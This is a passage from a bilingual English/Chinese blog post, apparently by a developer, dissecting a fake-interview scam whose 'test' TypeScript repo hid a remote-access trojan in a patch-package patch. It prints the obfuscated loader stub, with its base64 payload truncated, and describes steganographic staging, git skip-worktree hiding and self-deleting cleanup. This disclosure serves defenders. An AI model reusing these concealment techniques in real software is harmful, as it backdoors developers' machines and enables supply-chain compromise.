Anatomy of a Failed (Nation-State?) Attack
Anatomy of a Failed (Nation-State?) Attack
一次失败的(国家级?)攻击剖析
Disclosures 🧠 This post is fully human-written: all prose with the exception of the IoC information. Because it was time-sensitive, Claude was used to accelerate the RAT analysis and build an IoC-detection script. As I live in Canada, this information was reported to the appropriate Canadian agencies (CCCS et al). The payload-laden image does not trigger any AV engines on VirusTotal. The attacker’s identity is fictitious, but there are uninvolved individuals with the same name that they may be confused for and have been omitted from this piece. On Reddit there’s a few others in the Rust community who mentioned they were targeted as well. 披露 🧠 本文完全由人工撰写:除入侵指标(IoC)信息外,所有文字均出自本人之手。由于时间紧迫,我使用了 Claude 来加速对远程访问木马(RAT)的分析并构建 IoC 检测脚本。由于我居住在加拿大,相关信息已报告给加拿大相关机构(如 CCCS 等)。携带载荷的图像文件不会触发 VirusTotal 上的任何杀毒引擎。攻击者的身份是虚构的,但由于存在与该名称重名的无辜个人,为避免混淆,已将其从本文中剔除。在 Reddit 上,Rust 社区中也有其他人提到他们也成为了攻击目标。
This week I came in far-to-close contact with a fake-interview scam designed to backdoor my machine, and from the context of the emails, I assume my packages on crates.io. Note: I’m calling it the “PinpinRAT” because of some of the internal strings, but it’s possible this has another name out there. I couldn’t find any other references to it online. 本周,我险些遭遇了一场旨在向我的机器植入后门的虚假面试诈骗。从邮件的上下文来看,我推测攻击目标是我在 crates.io 上发布的软件包。注:我将其命名为“PinpinRAT”,因为代码中包含一些相关字符串,但它在别处可能另有名称。我在网上找不到任何关于它的其他参考资料。
A week and a half ago I received an email from “D█████ S████” claiming to be from Lua Ventures, a (unbeknownst to me at the time) defunct Singapore-based VC in the DeFi space. To be clear: this is a fabricated persona, and the name was likely chosen to be easily mistaken for one of a number of real people with the name. It looked like a real email, including a link to a somewhat boring, but legitimate-looking LinkedIn profile. The attacker even name-dropped two of their investments that were specifically looking for advisory work: Lyrasing and Roadpay. Searching for either of the companies wasn’t really a flag - they both had some very basic web presense, but nothing that would indicate they were fake rather than just early stage. (archive.org snapshot of roadpay.cc). 一周半前,我收到了一封来自“D█████ S████”的邮件,对方自称来自 Lua Ventures——一家当时我并不知晓、且已倒闭的总部位于新加坡的 DeFi 领域风投公司。需要明确的是:这是一个虚构的身份,选择这个名字很可能是为了让人容易将其与现实中多位同名人士混淆。这看起来是一封真实的邮件,其中包含一个指向某个略显枯燥但看起来合法的 LinkedIn 个人资料的链接。攻击者甚至提到了他们投资的两家正在寻找顾问工作的公司:Lyrasing 和 Roadpay。搜索这两家公司并没有引起警觉——它们都有一些非常基础的网络存在,没有任何迹象表明它们是虚假的,而非仅仅处于早期阶段。(roadpay.cc 的 archive.org 快照)。
We went back and forth on a meeting time and eventually settled on a time we were going to chat. There was nothing odd about the call itself, either. A somewhat-difficult-to-understand man with a German accent was on the other line. He said he was taking the call while travelling which was a bit odd, but again, not necessarily a flag. After the call came the bait. A follow-up email that offered up a “test”. At this point I was mildly annoyed, but not suspicious. I cloned the repo, but the first true red flag only fired here. 我们反复沟通了会议时间,最终确定了通话时间。通话本身也没有什么异常。电话那头是一个带着德国口音、说话有些难以听懂的男子。他说他在旅行途中接听电话,这虽然有点奇怪,但也不一定就是警示信号。通话结束后,诱饵出现了。一封后续邮件提供了一个“测试”。此时我感到有些烦躁,但并未起疑。我克隆了代码库,但第一个真正的危险信号就在这时出现了。
Where I got lucky: they sent me a TypeScript repo. It didn’t make sense to me. The instructions looked more like a TypeScript job interview than any sort of architecture analysis. I decided to zip up the repo and toss it into the Claude to get a quick scan - a combination of caution and laziness. A few moments later it had identified some oddities: Notably, the root package.json has no postinstall/preinstall hook — interesting, because they use patch-package, which is normally wired to a postinstall. Let me check every package.json for lifecycle scripts, then audit the patch files (the real risk surface — patches can inject arbitrary code into node_modules). That piqued my interest. I scanned the directories myself and noticed a fairly unreasonable number of patches/ directories. The first few I checked seemed innocent enough, but as you might have guessed, they were just trying to add noise so the real payload wouldn’t get caught. 我幸运的地方在于:他们发给我的是一个 TypeScript 代码库。这让我感到困惑。这些说明看起来更像是 TypeScript 的求职面试,而不是任何形式的架构分析。我决定将代码库压缩并扔给 Claude 进行快速扫描——这既是出于谨慎,也是因为懒惰。片刻之后,它识别出了一些异常:值得注意的是,根目录下的 package.json 没有 postinstall/preinstall 钩子——这很有趣,因为他们使用了 patch-package,而这通常是与 postinstall 关联的。我检查了每个 package.json 中的生命周期脚本,然后审计了补丁文件(真正的风险面——补丁可以将任意代码注入 node_modules)。这引起了我的兴趣。我自己扫描了目录,发现 patches/ 目录的数量多得离谱。我检查的前几个看起来很正常,但正如你可能猜到的那样,他们只是在制造噪音,以掩盖真正的载荷。
packages/electron-benchmarks/patches/sumchecker+3.0.1.patch packages/electron-benchmarks/patches/@electron+get+2.0.3.patch packages/electron-benchmarks/patches/extract-zip+2.0.1.patch While I was checking slowly by hand, Claude identified first signs of PinpinRAT: I found it. This is a malicious payload. Embedded in the typescript+5.9.2.patch file — inside what is presented as a routine “module specifier” patch to TypeScript — there is a base64-blob self-executing obfuscation stub injected at the very top of both _tsc.js and typescript.js: 在我手动缓慢检查时,Claude 识别出了 PinpinRAT 的最初迹象:我找到了。这是一个恶意载荷。嵌入在 typescript+5.9.2.patch 文件中——在一个看似常规的 TypeScript “模块说明符”补丁内部——在 _tsc.js 和 typescript.js 的最顶部注入了一个 base64 编码的自执行混淆存根:
;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/ void "ticket-harbor-tsc-shim-anchor";
This decodes a base64 string, XOR-decrypts every byte with the key 73, and runs the result through new Function(…) with require, process, Buffer, etc. handed in. That is a hidden code-execution payload that fires every time tsc or anything importing typescript.js runs — i.e. on the very first npm run typecheck / build / dev. … and that’s the point where I decided to stop poking the bear on my own machine. I zipped it up with a password to stop myself from accidentally detonating it and kept running the analysis in the sandbox. 这段代码解码一个 base64 字符串,用密钥 73 对每个字节进行异或解密,并通过 new Function(…) 运行结果,同时传入 require、process、Buffer 等参数。这是一个隐藏的代码执行载荷,每次运行 tsc 或任何导入 typescript.js 的程序时都会触发——即在第一次运行 npm run typecheck / build / dev 时。……就在那一刻,我决定停止在自己的机器上继续“捅马蜂窝”。我用密码将其压缩,以防自己不小心触发它,并继续在沙箱中进行分析。
The Trap / 陷阱
The repo is themed as a ferry-ticketing app named “Ticket Harbor”. The task.txt included in the bundle was a plausible set of boring tasks, but ended with: Run the repo typecheck, test suite, and relevant desktop/server build commands before submitting. That instruction is the trap that gets you. 该代码库的主题是一个名为“Ticket Harbor”的渡轮票务应用程序。捆绑包中包含的 task.txt 是一组看似合理的枯燥任务,但结尾写道:在提交之前运行代码库的 typecheck、测试套件以及相关的桌面/服务器构建命令。这条指令就是让你上钩的陷阱。
The chain works like this: Four separate postinstall hooks run patch-package. But one of them also runs git update-index —skip-worktree on the patch files, which hides them from git status. The typescript+5.9.2.patch injects a self-executing stub at the top of typescript.js and _tsc.js. This is a lightly-obfuscated blob fed into new Function(…) (avoiding eval, presumably to avoid malware detection). That loader reads a hidden chunk appended to a file named operators/3.png, runs a small embedded WASM stub (in a custom wAsm chunk), then spawns a detached, silent Node process carrying a 1.68 MB obfuscated second-stage payload. It cleans up after itself at three layers: the git skip-worktree trick, the dropper rewrites the patch to delete its own injected lines after first run, and the stage-2 temp directory self-deletes on execution. The actual payload is a RAT (a remote-access trojan). I was originally worried this was a credential stealer but that’s a lot worse. PinpinRAT is nested in three obfuscated layers which were a pain to unwrap: obfuscator.i 攻击链的工作原理如下:四个独立的 postinstall 钩子运行 patch-package。但其中一个还会对补丁文件运行 git update-index —skip-worktree,从而在 git status 中隐藏它们。typescript+5.9.2.patch 在 typescript.js 和 _tsc.js 的顶部注入了一个自执行存根。这是一个经过轻微混淆的二进制块,被传入 new Function(…)(避开了 eval,大概是为了规避恶意软件检测)。该加载器读取附加在名为 operators/3.png 文件末尾的隐藏块,运行一个小的嵌入式 WASM 存根(位于自定义的 wAsm 块中),然后生成一个分离的、静默的 Node 进程,携带一个 1.68 MB 的混淆第二阶段载荷。它通过三层机制进行自我清理:git skip-worktree 技巧、投放器在首次运行后重写补丁以删除其注入的行,以及第二阶段临时目录在执行时自动删除。实际的载荷是一个远程访问木马(RAT)。我最初担心这只是一个凭据窃取程序,但情况要糟糕得多。PinpinRAT 嵌套在三层混淆中,解开它们非常痛苦:obfuscator.i